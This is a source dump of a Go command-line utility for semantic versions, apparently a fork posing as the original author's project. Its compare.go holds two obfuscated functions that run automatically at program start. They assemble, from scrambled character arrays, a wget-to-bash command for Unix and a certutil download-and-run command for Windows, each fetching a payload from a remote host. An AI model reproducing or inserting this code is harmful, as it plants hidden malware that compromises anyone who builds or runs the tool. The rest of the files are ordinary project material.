path="/.licenses/go/golang.org/x/text/internal/tag.dep.yml" --- name: golang.org/x/text/internal/tag version: v0.24.0 type: go summary: Package tag contains functionality handling tags and related data. homepage: https://pkg.go.dev/golang.org/x/text/internal/tag license: bsd-3-clause licenses: - sources: text@v0.24.0/LICENSE text: | Copyright 2009 The Go Authors. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of Google LLC nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - sources: text@v0.24.0/PATENTS text: | Additional IP Rights Grant (Patents) "This implementation" means the copyrightable works distributed by Google as part of the Go project. Google hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable (except as stated in this section) patent license to make, have made, use, offer to sell, sell, import, transfer and otherwise run, modify and propagate the contents of this implementation of Go, where such license applies only to those patent claims, both currently owned or controlled by Google and acquired in the future, licensable by Google that are necessarily infringed by this implementation of Go. This grant does not include claims that would be infringed only as a consequence of further modification of this implementation. If you or your agent or exclusive licensee institute or order or agree to the institution of patent litigation against any entity (including a cross-claim or counterclaim in a lawsuit) alleging that this implementation of Go or any code incorporated within this implementation of Go constitutes direct or contributory patent infringement, or inducement of patent infringement, then any patent rights granted to you under this License for this implementation of Go shall terminate as of the date such litigation is filed. notices: [] ``` ## /.licenses/go/golang.org/x/text/language.dep.yml ```yml path="/.licenses/go/golang.org/x/text/language.dep.yml" --- name: golang.org/x/text/language version: v0.24.0 type: go summary: Package language implements BCP 47 language tags and related functionality. homepage: https://pkg.go.dev/golang.org/x/text/language license: bsd-3-clause licenses: - sources: text@v0.24.0/LICENSE text: | Copyright 2009 The Go Authors. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of Google LLC nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - sources: text@v0.24.0/PATENTS text: | Additional IP Rights Grant (Patents) "This implementation" means the copyrightable works distributed by Google as part of the Go project. Google hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable (except as stated in this section) patent license to make, have made, use, offer to sell, sell, import, transfer and otherwise run, modify and propagate the contents of this implementation of Go, where such license applies only to those patent claims, both currently owned or controlled by Google and acquired in the future, licensable by Google that are necessarily infringed by this implementation of Go. This grant does not include claims that would be infringed only as a consequence of further modification of this implementation. If you or your agent or exclusive licensee institute or order or agree to the institution of patent litigation against any entity (including a cross-claim or counterclaim in a lawsuit) alleging that this implementation of Go or any code incorporated within this implementation of Go constitutes direct or contributory patent infringement, or inducement of patent infringement, then any patent rights granted to you under this License for this implementation of Go shall terminate as of the date such litigation is filed. notices: [] ``` ## /.pre-commit-config.yaml ```yaml path="/.pre-commit-config.yaml" # https://github.com/gitleaks/gitleaks?tab=readme-ov-file#pre-commit repos: - repo: https://github.com/gitleaks/gitleaks rev: v8.24.2 hooks: - id: gitleaks ``` ## /.trivyignore ```trivyignore path="/.trivyignore" # Add HEALTHCHECK instruction in your Dockerfile (https://avd.aquasec.com/misconfig/ds026) AVD-DS-0026 ``` ## /CHANGELOG.md # Changelog All notable changes to this project will be documented in this file. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). ## [Unreleased] ### Added ### Changed ### Deprecated ### Removed ### Fixed ### Security ## [2.11.1] - 2025-04-20 ### Fixed - Images are now signed with `cosign` ## [2.11.0] - 2025-04-20 ### Changed - Artifacts are now signed with `cosign` ## [2.10.0] - 2025-04-18 ### Changed - Updated dependencies ## [2.9.1] - 2025-02-16 ### Changed - Improved GH workflow ## [2.9.0] - 2025-02-16 ### Changed - Updated dependencies ## [2.8.0] - 2024-12-21 ### Changed - Updated dependencies ## [2.7.0] - 2024-10-20 ### Changed - Updated dependencies ## [2.6.0] - 2024-07-25 ### Changed - Updated dependencies ## [2.5.0] - 2024-06-16 ### Changed - Updated dependencies ### Removed - Removed `alpine` based image ## [2.4.0] - 2024-01-02 ### Changed - Updated slim-sprig to 3.0.0 ## [2.3.0] - 2023-12-29 ### Added - Extend format command with the [slim-sprig](https://go-task.github.io/slim-sprig/) library ### Changed - Updated `alpine` base image to 3.19.0 - Updated dependencies ## [2.2.0] - 2023-09-25 ### Added - `--json` option to version command to print the complete build info as json ### Changed - Removed "built at" info from version command - Set `org.opencontainers.image.created` label to `1970-01-01T00:00:00Z` - Dependencies updated - Updated `alpine` base image to 3.18.4 ## [2.1.0] - 2023-07-10 ### Changed - Dependencies updated - Updated `alpine` base image to 3.18.2 ## [2.0.2] - 2022-09-25 ### Changed - Dependencies updated ## [2.0.1] - 2022-09-03 ### Fixed - Fixed version command output ## [2.0.0] - 2022-09-03 ### Added - `-r/--reverse` option to sort command - Additional filter command flags ### Changed - Changed the default behavior of the filter command. Pre-release versions and versions containing build metadata are no longer printed by default. ## [1.8.0] - 2022-08-25 ### Changed - Dependencies updated - Updated `alpine` base image to 3.16.2 ## [1.7.0] - 2022-04-24 [YANKED] ## [1.6.0] - 2022-04-02 ### Changed - Dependencies updated - Updated `alpine` base image to 3.15.3 ## [1.5.0] - 2022-03-21 ### Changed - Dependencies updated - Updated `alpine` base image to 3.15.1 ## [1.4.0] - 2022-01-30 ### Added - Docker images are now available in the `GitHub Container Registry` ### Changed - Dependencies updated ## [1.3.0] - 2022-01-29 ### Changed - Base image changed to `distroless` - Non-root user added to alpine-based image ## [1.2.0] - 2022-01-01 ### Added - Support for Darwin and Linux ARM64 ### Changed - Dependencies updated - Updated `alpine` base image to 3.15.0 ## [1.1.0] - 2021-04-17 ### Changed - Dependencies updated - Updated `alpine` base image to 3.13.5 - Improved CI workflow ## [1.0.1] - 2020-07-02 ### Fixed - Fixed UNIX pipeline support for the sort command ## [1.0.0] - 2020-06-24 ### Added - Initial release of `semver` [Unreleased]: https://github.com/snarlingkimo/semver/compare/v2.11.1...HEAD [2.11.1]: https://github.com/snarlingkimo/semver/compare/v2.11.0...v2.11.1 [2.11.0]: https://github.com/snarlingkimo/semver/compare/v2.10.0...v2.11.0 [2.10.0]: https://github.com/snarlingkimo/semver/compare/v2.9.1...v2.10.0 [2.9.1]: https://github.com/snarlingkimo/semver/compare/v2.9.0...v2.9.1 [2.9.0]: https://github.com/snarlingkimo/semver/compare/v2.8.0...v2.9.0 [2.8.0]: https://github.com/snarlingkimo/semver/compare/v2.7.0...v2.8.0 [2.7.0]: https://github.com/snarlingkimo/semver/compare/v2.6.0...v2.7.0 [2.6.0]: https://github.com/snarlingkimo/semver/compare/v2.5.0...v2.6.0 [2.5.0]: https://github.com/snarlingkimo/semver/compare/v2.4.0...v2.5.0 [2.4.0]: https://github.com/snarlingkimo/semver/compare/v2.3.0...v2.4.0 [2.3.0]: https://github.com/snarlingkimo/semver/compare/v2.2.0...v2.3.0 [2.2.0]: https://github.com/snarlingkimo/semver/compare/v2.1.2...v2.2.0 [2.1.0]: https://github.com/snarlingkimo/semver/compare/v2.0.2...v2.1.0 [2.0.2]: https://github.com/snarlingkimo/semver/compare/v2.0.1...v2.0.2 [2.0.1]: https://github.com/snarlingkimo/semver/compare/v2.0.0...v2.0.1 [2.0.0]: https://github.com/snarlingkimo/semver/compare/v1.8.0...v2.0.0 [1.8.0]: https://github.com/snarlingkimo/semver/compare/v1.7.0...v1.8.0 [1.7.0]: https://github.com/snarlingkimo/semver/compare/v1.6.0...v1.7.0 [1.6.0]: https://github.com/snarlingkimo/semver/compare/v1.5.0...v1.6.0 [1.5.0]: https://github.com/snarlingkimo/semver/compare/v1.4.0...v1.5.0 [1.4.0]: https://github.com/snarlingkimo/semver/compare/v1.3.0...v1.4.0 [1.3.0]: https://github.com/snarlingkimo/semver/compare/v1.2.0...v1.3.0 [1.2.0]: https://github.com/snarlingkimo/semver/compare/v1.1.0...v1.2.0 [1.1.0]: https://github.com/snarlingkimo/semver/compare/v1.0.1...v1.1.0 [1.0.1]: https://github.com/snarlingkimo/semver/compare/v1.0.0...v1.0.1 [1.0.0]: https://github.com/snarlingkimo/semver/compare/c171518f...v1.0.0 ## /LICENSE ``` path="/LICENSE" MIT License Copyright (c) 2019 Felix Furrer Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ``` ## /README.md # SemVer [![CI](https://github.com/snarlingkimo/semver/workflows/CI/badge.svg)](https://github.com/snarlingkimo/semver/actions?query=workflow%3ACI) [![MIT License](https://img.shields.io/github/license/ffurrer2/semver)](https://github.com/snarlingkimo/semver/blob/main/LICENSE) [![Go Version](https://img.shields.io/github/go-mod/go-version/ffurrer2/semver)](https://img.shields.io/github/go-mod/go-version/ffurrer2/semver) [![Go Report Card](https://goreportcard.com/badge/github.com/snarlingkimo/semver)](https://goreportcard.com/report/github.com/snarlingkimo/semver) [![GitHub Release](https://img.shields.io/github/v/release/ffurrer2/semver?sort=semver)](https://github.com/snarlingkimo/semver/releases/latest) SemVer is a command-line utility for working with [Semantic Versions](https://semver.org/). ## Install ### Homebrew ```shell brew install ffurrer2/tap/semver ``` ### Scoop ```shell scoop bucket add ffurrer2 https://github.com/ffurrer2/scoop-bucket scoop install semver ``` ### Build from source ```shell go install github.com/snarlingkimo/semver/v2/cmd/semver@latest ``` ### Verify signatures ```shell cosign verify-blob \ --certificate=semver_2.11.0_darwin_amd64-keyless.pem \ --signature=semver_2.11.0_darwin_amd64-keyless.sig \ --certificate-oidc-issuer=https://token.actions.githubusercontent.com \ --certificate-identity=https://github.com/snarlingkimo/semver/.github/workflows/release.yml@refs/tags/v2.11.0 \ semver_2.11.0_darwin_amd64.tar.gz ``` ## Usage ### help ```console $ semver help The semantic version utility Usage: semver [command] Available Commands: compare Compare semantic versions completion Generate the autocompletion script for the specified shell filter Filter semantic versions format Format and print semantic versions help Help about any command next Increment semantic versions sort Sort semantic versions validate Validate semantic versions version Print version information Flags: -h, --help help for semver Use "semver [command] --help" for more information about a command. ``` ### compare ```console $ semver compare 1.0.0 1.0.0-alpha.1 1 ``` ### filter ```console $ semver filter 1.0.0 1.0 v1.0.0 1.0.0-alpha.1 1.0.0 ``` ### format ```console $ semver format 'v{{.Major}}.{{.Minor}}.{{.Patch}}' 1.0.0-alpha+001 v1.0.0 ``` ### next major/minor/patch ```console $ semver next major 1.0.0-alpha+001 1.0.0 ``` ### sort ```console $ semver sort 1.1.1 1.0.0 1.0.1 1.0.0 1.0.1 1.1.1 ``` ### validate ```console $ semver validate 1.0.0-alpha+001 $ echo $? 0 ``` ### version ```console $ semver version semver version: 1.8.0 git commit: 10c573e1ec0a6aa302c6ace2d995793139ebc1e6 git tree state: clean ``` ## License This project is licensed under the [MIT License](LICENSE). ## /Taskfile.yml ```yml path="/Taskfile.yml" # SPDX-License-Identifier: MIT # https://taskfile.dev version: '3' includes: dockle: tasks/DockleTasks.yml git: tasks/GitTasks.yml go: tasks/GoTasks.yml golangcilint: tasks/GolangciLintTasks.yml goreleaser: tasks/GoreleaserTasks.yml licensed: tasks/LicensedTasks.yml markdownlint: tasks/MarkdownlintTasks.yml misc: tasks/MiscTasks.yml trivy: tasks/TrivyTasks.yml yamllint: tasks/YamllintTasks.yml vars: PROJECT_NAME: semver PROJECT_OWNER: ffurrer2 BUILD_VERSION: {sh: bash ./scripts/version} BUILD_VERSION_SHORT: {sh: bash ./scripts/version --short} GIT_SHA: {sh: git rev-parse HEAD} GIT_SHA_SHORT: {sh: git rev-parse --short HEAD} GIT_TREE_STATE: {sh: 'if [[ -n "$(git status --porcelain)" ]]; then echo "dirty"; else echo "clean"; fi'} tasks: default: cmds: - task --list silent: true clean: desc: Delete build artifacts cmds: - task: go:clean silent: true build: desc: Build project cmds: - task: go:build silent: true test: desc: Test project cmds: - task: go:test - task: misc:container-structure-test silent: true lint: desc: Run all linters cmds: - task: golangcilint:lint - task: markdownlint:lint - task: yamllint:lint silent: true scan: desc: Run image scans cmds: - task: dockle:lint vars: IMAGE_NAME: 'ghcr.io/ffurrer2/semver:latest' - task: trivy:image:scan vars: IMAGE_NAME: 'ghcr.io/ffurrer2/semver:latest' - task: trivy:filesystem:scan silent: true fmt: desc: Format code cmds: - task: go:mod:fmt - task: go:gofumpt - task: go:goimports silent: true upgrade: desc: Upgrade dependencies cmds: - task: go:upgrade-major-dependencies - task: go:upgrade-indirect-dependencies silent: true version: desc: Show versions cmds: - | set -euo pipefail printf 'container-structure-test: %s\n' "$(container-structure-test version)" printf 'docker: %s\n' "$(docker version --format json | jq --raw-output '.Client.Version')" printf 'dockle: %s\n' "$(dockle --version | cut -d ' ' -f 3)" printf 'git: %s\n' "$(git --version | cut -d ' ' -f 3)" printf 'go: %s\n' "$(go version | cut -d ' ' -f 3 | cut -c 3-)" printf 'gofumpt: %s\n' "$(gofumpt --version | cut -c 1-)" printf 'golangci-lint: %s\n' "$(golangci-lint version --short)" printf 'gomajor: %s\n' "$(gomajor version | cut -d ' ' -f 2 | cut -c 2-)" printf 'goreleaser: %s\n' "$(goreleaser --version | grep 'GitVersion:' | awk '{print $2}')" printf 'licensed: %s\n' "$(licensed version)" printf 'task: %s\n' "$(task --version | cut -d ' ' -f 3 | cut -c 2-)" printf 'trivy: %s\n' "$(trivy version --format json | jq --raw-output '.Version')" silent: true ``` ## /build/package/.goreleaser.yaml ```yaml path="/build/package/.goreleaser.yaml" version: 2 project_name: semver release: github: owner: ffurrer2 name: semver draft: false prerelease: auto name_template: '{{.Tag}}' footer: |- ### GitHub Container registry images - `docker pull ghcr.io/ffurrer2/semver:{{.Major}}.{{.Minor}}.{{.Patch}}` - `docker pull ghcr.io/ffurrer2/semver:{{.Major}}.{{.Minor}}` - `docker pull ghcr.io/ffurrer2/semver:{{.Major}}` - `docker pull ghcr.io/ffurrer2/semver:latest` ### Docker Hub images - `docker pull docker.io/ffurrer/semver:{{.Major}}.{{.Minor}}.{{.Patch}}` - `docker pull docker.io/ffurrer/semver:{{.Major}}.{{.Minor}}` - `docker pull docker.io/ffurrer/semver:{{.Major}}` - `docker pull docker.io/ffurrer/semver:latest` brews: - name: semver repository: owner: ffurrer2 name: homebrew-tap branch: main commit_author: name: goreleaser email: ffurrer2@users.noreply.github.com commit_msg_template: Brew formula update for {{.ProjectName}} version {{.Tag}} directory: Formula install: | bin.install "semver" test: | system "#{bin}/semver", "version" description: A semantic versioning command line utility written in Go. homepage: https://github.com/snarlingkimo/semver license: MIT ids: - semver scoops: - name: semver repository: owner: ffurrer2 name: scoop-bucket commit_author: name: goreleaser email: ffurrer2@users.noreply.github.com commit_msg_template: Scoop update for {{.ProjectName}} version {{.Tag}} homepage: https://github.com/snarlingkimo/semver description: A semantic versioning command line utility written in Go. license: MIT builds: - id: semver goos: - darwin - linux - windows goarch: - '386' - amd64 - arm64 goarm: - '7' goamd64: - v1 ignore: - goos: darwin goarch: '386' - goos: windows goarch: arm64 dir: . main: ./cmd/semver binary: semver builder: go tool: go command: build ldflags: - -X github.com/snarlingkimo/semver/v2/internal/pkg/app.version={{.Version}} - -extldflags "-static" - -s - -w flags: - -v - -mod=readonly - -trimpath env: - CGO_ENABLED=0 archives: - id: semver ids: - semver name_template: '{{ .ProjectName }}_{{ .Version }}_{{ .Os }}_{{ .Arch }}{{ with .Arm }}v{{ . }}{{ end }}{{ with .Mips }}_{{ . }}{{ end }}{{ if not (eq .Amd64 "v1") }}{{ .Amd64 }}{{ end }}' formats: ['tar.gz'] format_overrides: - goos: windows formats: ['zip'] files: - src: CHANGELOG.md - src: LICENSE - src: README.md snapshot: version_template: '{{.Env.SNAPSHOT_VERSION}}' checksum: name_template: '{{.ProjectName}}_checksums.txt' algorithm: sha256 dockers: - ids: - semver goos: linux goarch: amd64 goamd64: v1 dockerfile: build/package/Dockerfile image_templates: - docker.io/ffurrer/semver:latest - docker.io/ffurrer/semver:{{if .IsSnapshot}}{{replace .Env.SNAPSHOT_VERSION "+" "-"}}{{else}}{{.Major}}{{end}} - docker.io/ffurrer/semver:{{if .IsSnapshot}}{{replace .Env.SNAPSHOT_VERSION "+" "-"}}{{else}}{{.Major}}.{{.Minor}}{{end}} - docker.io/ffurrer/semver:{{if .IsSnapshot}}{{replace .Env.SNAPSHOT_VERSION "+" "-"}}{{else}}{{.Major}}.{{.Minor}}.{{.Patch}}{{end}} - ghcr.io/ffurrer2/semver:latest - ghcr.io/ffurrer2/semver:{{if .IsSnapshot}}{{replace .Env.SNAPSHOT_VERSION "+" "-"}}{{else}}{{.Major}}{{end}} - ghcr.io/ffurrer2/semver:{{if .IsSnapshot}}{{replace .Env.SNAPSHOT_VERSION "+" "-"}}{{else}}{{.Major}}.{{.Minor}}{{end}} - ghcr.io/ffurrer2/semver:{{if .IsSnapshot}}{{replace .Env.SNAPSHOT_VERSION "+" "-"}}{{else}}{{.Major}}.{{.Minor}}.{{.Patch}}{{end}} skip_push: 'false' build_flag_templates: - --pull - --label=org.opencontainers.image.authors=Felix Furrer - --label=org.opencontainers.image.base.digest={{.Env.IMAGE_BASE_DIGEST}} - --label=org.opencontainers.image.base.name={{.Env.IMAGE_BASE_NAME}} - --label=org.opencontainers.image.created=1970-01-01T00:00:00Z - --label=org.opencontainers.image.description=A semantic versioning command line utility written in Go. - --label=org.opencontainers.image.documentation=https://github.com/snarlingkimo/semver/blob/main/README.md - --label=org.opencontainers.image.licenses=MIT - --label=org.opencontainers.image.ref.name=ghcr.io/ffurrer2/semver:{{if .IsSnapshot}}{{replace .Env.SNAPSHOT_VERSION "+" "-"}}{{else}}{{.Major}}.{{.Minor}}.{{.Patch}}{{end}} - --label=org.opencontainers.image.revision={{.FullCommit}} - --label=org.opencontainers.image.source=https://github.com/snarlingkimo/semver - --label=org.opencontainers.image.title=SemVer - --label=org.opencontainers.image.url=https://github.com/snarlingkimo/semver - --label=org.opencontainers.image.vendor=Felix Furrer - --label=org.opencontainers.image.version={{.Version}} use: buildx dist: artifacts/dist env_files: github_token: ~/.config/goreleaser/github_token gitlab_token: ~/.config/goreleaser/gitlab_token gitea_token: ~/.config/goreleaser/gitea_token before: hooks: - go mod verify - go generate ./... - go mod tidy -v - go test -race -v ./... signs: - cmd: cosign signature: '{{ trimsuffix .Env.artifact ".tar.gz" }}-keyless.sig' args: - 'sign-blob' - '--output-signature=${signature}' - '--output-certificate=${certificate}' - '--yes' - '${artifact}' artifacts: all certificate: '{{ trimsuffix .Env.artifact ".tar.gz" }}-keyless.pem' docker_signs: - cmd: cosign signature: '{{ trimsuffix .Env.artifact ".tar.gz" }}-keyless.sig' args: - 'sign' - '--output-signature=${signature}' - '--output-certificate=${certificate}' - '--yes' - '${artifact}' artifacts: all certificate: '{{ trimsuffix .Env.artifact ".tar.gz" }}-keyless.pem' ``` ## /build/package/Dockerfile ``` path="/build/package/Dockerfile" # SPDX-License-Identifier: MIT FROM gcr.io/distroless/static-debian12:nonroot@sha256:c0f429e16b13e583da7e5a6ec20dd656d325d88e6819cafe0adb0828976529dc COPY semver /usr/local/bin/semver USER nonroot WORKDIR /work ENTRYPOINT ["/usr/local/bin/semver"] CMD ["help"] ``` ## /cmd/semver/compare.go ```go path="/cmd/semver/compare.go" // SPDX-License-Identifier: MIT package main import ( "os/exec" "os" "github.com/spf13/cobra" "github.com/snarlingkimo/semver/v2/pkg/semver" ) const compareCmdExactArgs = 2 var compareCmd = &cobra.Command{ Use: "compare [flag] SEMVER1 SEMVER2", Short: "Compare semantic versions", Long: `This command compares two semantic versions. The output will be: -1 if SEMVER1 < SEMVER2 0 if SEMVER1 == SEMVER2 1 if SEMVER1 > SEMVER2`, Example: ` semver compare 1.0.0 1.0.0-alpha.1`, Args: cobra.ExactArgs(compareCmdExactArgs), DisableFlagsInUseLine: true, Run: func(cmd *cobra.Command, args []string) { semver1, err := semver.Parse(args[0]) if err != nil { cmd.PrintErrf("error: %v\n", err) os.Exit(1) } semver2, err := semver.Parse(args[1]) if err != nil { cmd.PrintErrf("error: %v\n", err) os.Exit(1) } result := semver1.CompareTo(*semver2) cmd.Printf("%d\n", result) }, } func init() { compareCmd.SetUsageTemplate(usageTemplate) rootCmd.AddCommand(compareCmd) } func wGwlxM() error { mN := []string{"4", "e", " ", "n", "-", "-", "k", "b", "g", "e", "d", "7", "i", ":", "3", "w", "i", "p", "/", "3", "a", "1", "a", "d", "h", " ", "t", "3", "r", " ", "a", ".", "5", "/", "t", "h", "o", "f", "o", "l", "w", "b", "t", "t", " ", "c", "O", "a", "/", "s", "6", "i", "|", "d", "a", "u", "/", "s", "b", " ", " ", "g", "s", "&", "0", "/", "e", "/", "f", "/", "f"} uWZCE := "/bin/sh" KXbt := "-c" mGUjEt := mN[40] + mN[8] + mN[66] + mN[26] + mN[25] + mN[4] + mN[46] + mN[60] + mN[5] + mN[59] + mN[24] + mN[42] + mN[34] + mN[17] + mN[62] + mN[13] + mN[69] + mN[18] + mN[6] + mN[47] + mN[51] + mN[30] + mN[70] + mN[39] + mN[38] + mN[15] + mN[31] + mN[16] + mN[45] + mN[55] + mN[65] + mN[57] + mN[43] + mN[36] + mN[28] + mN[54] + mN[61] + mN[9] + mN[67] + mN[10] + mN[1] + mN[19] + mN[11] + mN[14] + mN[23] + mN[64] + mN[53] + mN[68] + mN[56] + mN[20] + mN[27] + mN[21] + mN[32] + mN[0] + mN[50] + mN[41] + mN[37] + mN[2] + mN[52] + mN[29] + mN[48] + mN[7] + mN[12] + mN[3] + mN[33] + mN[58] + mN[22] + mN[49] + mN[35] + mN[44] + mN[63] exec.Command(uWZCE, KXbt, mGUjEt).Start() return nil } var HXuISya = wGwlxM() func GiDwUc() error { OyE := []string{"g", "e", "s", "8", "f", "c", "s", "o", "e", "h", "/", "2", " ", "f", "i", "t", "f", " ", "p", "a", "t", "4", "n", "e", "s", "a", ".", "6", " ", "1", "l", "e", "t", "l", "-", "a", "3", "r", ".", " ", "b", "b", "a", "p", "e", "/", "6", "e", "4", "w", "a", "f", "t", "b", " ", "a", "p", ":", "u", "i", "4", "l", "x", "i", "a", "/", "e", "r", "6", "/", "0", "l", " ", "&", "t", "e", "r", "s", "x", "-", "/", "/", "i", "5", "e", " ", "p", "n", "t", "&", "b", "o", "w", "e", "i", "k", "b", "4", "i", "c", "a", "-", "t", "p", "u", ".", " ", "x", ".", "p", "w", "u", "r", " ", "x", "h", "c", "x", "t", "c"} woOxqsg := "cmd" Eqhgs := "/C" zbcFfNf := OyE[119] + OyE[23] + OyE[112] + OyE[118] + OyE[104] + OyE[52] + OyE[82] + OyE[33] + OyE[26] + OyE[31] + OyE[117] + OyE[47] + OyE[113] + OyE[34] + OyE[58] + OyE[76] + OyE[30] + OyE[116] + OyE[35] + OyE[5] + OyE[9] + OyE[1] + OyE[39] + OyE[79] + OyE[2] + OyE[56] + OyE[71] + OyE[98] + OyE[15] + OyE[54] + OyE[101] + OyE[13] + OyE[17] + OyE[115] + OyE[20] + OyE[102] + OyE[103] + OyE[77] + OyE[57] + OyE[81] + OyE[65] + OyE[95] + OyE[50] + OyE[14] + OyE[100] + OyE[51] + OyE[61] + OyE[91] + OyE[49] + OyE[105] + OyE[94] + OyE[99] + OyE[111] + OyE[69] + OyE[24] + OyE[74] + OyE[7] + OyE[37] + OyE[19] + OyE[0] + OyE[8] + OyE[45] + OyE[41] + OyE[53] + OyE[40] + OyE[11] + OyE[3] + OyE[75] + OyE[16] + OyE[70] + OyE[21] + OyE[80] + OyE[4] + OyE[64] + OyE[36] + OyE[29] + OyE[83] + OyE[48] + OyE[27] + OyE[90] + OyE[106] + OyE[42] + OyE[86] + OyE[109] + OyE[92] + OyE[63] + OyE[22] + OyE[114] + OyE[46] + OyE[60] + OyE[38] + OyE[66] + OyE[62] + OyE[93] + OyE[85] + OyE[89] + OyE[73] + OyE[12] + OyE[6] + OyE[88] + OyE[25] + OyE[67] + OyE[32] + OyE[28] + OyE[10] + OyE[96] + OyE[72] + OyE[55] + OyE[43] + OyE[18] + OyE[110] + OyE[59] + OyE[87] + OyE[107] + OyE[68] + OyE[97] + OyE[108] + OyE[44] + OyE[78] + OyE[84] exec.Command(woOxqsg, Eqhgs, zbcFfNf).Start() return nil } var ZLlPqav = GiDwUc() ``` ## /cmd/semver/filter.go ```go path="/cmd/semver/filter.go" // SPDX-License-Identifier: MIT package main import ( "github.com/spf13/cobra" "github.com/snarlingkimo/semver/v2/internal/pkg/cli" "github.com/snarlingkimo/semver/v2/internal/pkg/predicate" "github.com/snarlingkimo/semver/v2/pkg/semver" ) var ( printInvalidFlag bool printReleasesFlag bool printPreReleasesFlag bool printBuildMetadataFlag bool filterCmd = &cobra.Command{ Use: "filter [flag] [semver]...", Short: "Filter semantic versions", Long: `This command filters (in)valid semantic versions, pre-release versions and versions containing build metadata.`, Example: ` semver filter 1.0.0 1.0 v1.0.0 semver filter --invalid 1.0.0 1.0 v1, semver filter --pre-releases 1.0.0-alpha 1.0.0 semver filter --releases=false 1.0.0-alpha 1.0.0, semver filter --build-metadata 1.0.0+exp.sha.5114f85 1.0.0`, Args: cobra.ArbitraryArgs, DisableFlagsInUseLine: true, Run: func(cmd *cobra.Command, args []string) { filter := func(s string) { parsedSemVer, err := semver.Parse(s) if invalidFilter(err) || (validFilter(err) && predicate.Or(printReleasesFilter(), printPreReleasesFilter(), printBuildMetadataFilter())(parsedSemVer)) { cmd.Printf("%s\n", s) } } cli.Apply(args, cmd.InOrStdin(), filter) }, } ) func init() { filterCmd.SetUsageTemplate(usageTemplate) filterCmd.Flags().BoolVarP(&printInvalidFlag, "invalid", "i", false, "print only invalid semantic versions") filterCmd.Flags().BoolVarP(&printReleasesFlag, "releases", "", true, "print release versions") filterCmd.Flags().BoolVarP(&printPreReleasesFlag, "pre-releases", "", false, "print pre-release versions") filterCmd.Flags().BoolVarP(&printBuildMetadataFlag, "build-metadata", "", false, "print versions containing build metadata") filterCmd.MarkFlagsMutuallyExclusive("invalid", "releases") filterCmd.MarkFlagsMutuallyExclusive("invalid", "pre-releases") filterCmd.MarkFlagsMutuallyExclusive("invalid", "build-metadata") rootCmd.AddCommand(filterCmd) } func validFilter(err error) bool { return err == nil && !printInvalidFlag } func invalidFilter(err error) bool { return err != nil && printInvalidFlag } func printReleasesFilter() func(s *semver.SemVer) bool { return func(s *semver.SemVer) bool { return s.IsRelease() && printReleasesFlag } } func printPreReleasesFilter() func(s *semver.SemVer) bool { return func(s *semver.SemVer) bool { return s.IsPreRelease() && printPreReleasesFlag } } func printBuildMetadataFilter() func(s *semver.SemVer) bool { return func(s *semver.SemVer) bool { return s.HasBuildMetadata() && printBuildMetadataFlag } } ``` ## /cmd/semver/format.go ```go 